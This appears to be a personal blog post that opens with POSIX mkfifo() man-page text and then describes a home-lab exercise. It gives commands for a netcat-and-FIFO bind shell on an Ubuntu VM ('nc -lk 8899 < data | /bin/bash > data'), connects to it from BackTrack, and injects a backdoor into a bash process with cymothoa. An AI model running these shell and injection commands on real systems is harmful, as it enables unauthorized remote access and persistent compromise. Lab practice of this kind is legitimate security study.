mkFIFO

The mkfifo() function shall create a new FIFO special file named by the pathname pointed to by path. The file permission bits of the new FIFO shall be initialized from mode. The file permission bits of the mode argument shall be modified by the process' file creation mask.

When bits in mode other than the file permission bits are set, the effect is implementation-defined.

If path names a symbolic link, mkfifo() shall fail and set errno to [EEXIST].

The FIFO's user ID shall be set to the process' effective user ID. The FIFO's group ID shall be set to the group ID of the parent directory or to the effective group ID of the process. Implementations shall provide a way to initialize the FIFO's group ID to the group ID of the parent directory. Implementations may, but need not, provide an implementation-defined way to initialize the FIFO's group ID to the effective group ID of the calling process.


I try to infect cymothoa with NC from my Backtrack to Ubuntu in Vbox. The version of NC in ubuntu is different than NC in Backtrack. In Backtrack, the version of NC is NC Traditional, but in Ubuntu, the version is NC OpenBSD.
In NC openBSD, there was nothing prefix -e to execute a program after connect. So i try to using mkfifo. 
First in Ubuntu terminal i typed a command mkfifo data .. After that i typed a command
nc -lk 8899 < data | /bin/bash > data
Ok now i open the console of my Backtrack and typed a command nc 192.168.56.101 8899 

Ok from the picture above, i know if i have been entry to the bin/bash of ubuntu. Then i look a proccess of ubuntu with a command ps -ax

 Last, i to entry the directory cymothoa and try to inject the proccess /bin/bash in ubuntu with command ./cymothoa -p 1415 -s 0 and i have succed to infect it.